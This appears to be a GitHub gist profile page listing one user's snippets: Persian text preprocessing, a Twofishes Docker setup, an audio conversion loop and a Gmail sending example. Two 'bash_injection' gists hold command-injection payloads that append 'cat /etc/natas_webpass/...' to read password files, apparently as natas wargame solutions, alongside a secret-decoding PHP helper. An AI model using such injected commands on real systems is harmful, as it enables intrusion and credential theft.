Skip to content

Instantly share code, notes, and snippets.


Chris Inskip chrisji

View GitHub Profile
chrisji /
Created Jun 16, 2021 — forked from m3hrdadfi/
Persian Text Preprocessing
import hazm
from cleantext import clean
import emoji
import re
normalizer = hazm.Normalizer()
tagger = hazm.POSTagger(model='./resources/postagger.model')
def upper_repl(match):
chrisji /
Last active Nov 20, 2018 — forked from CraigChilds94/
Running Twofishes with Docker

Place the Docker Compose config file in the root of a project folder.

Ensure you've got your Docker Machine setup to use a large enough amount of memory, try 8GB.

Then run docker-compose up (or docker-compose up -d to run in detatched state)

Once you've seen the serving http/json on port 8081 message come up, run curl\?query\=Twatt,Scotland

chrisji /
Created Mar 13, 2015
Concatenate all m4a files in a directory. 192k bitrate. First argument is the output file name.
for f in *.m4a; do ffmpeg -i "$f" -acodec mp3 -ac 2 -ab 192 "$f.mp3"; done
find . -name '*.mp3' -exec lame --decode '{}' - ';' | lame -b 192 - $1
View bash_injection
. /etc/natas_webpass/natas11 #
View bash_injection
abc dictionary.txt; cat /etc/natas_webpass/natas10 #
View decode_secret.php
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
function decodeSecret($encodedSecret) {
return base64_decode(strrev(hex2bin($encodedSecret)));
chrisji /
Last active Aug 29, 2015
Send an email, using gmail.
import smtplib
message = 'message'
recipient = ''
sender = ''
password = 'password'
session = smtplib.SMTP_SSL('')
session.login(sender, password)
session.sendmail(sender, recipient, message)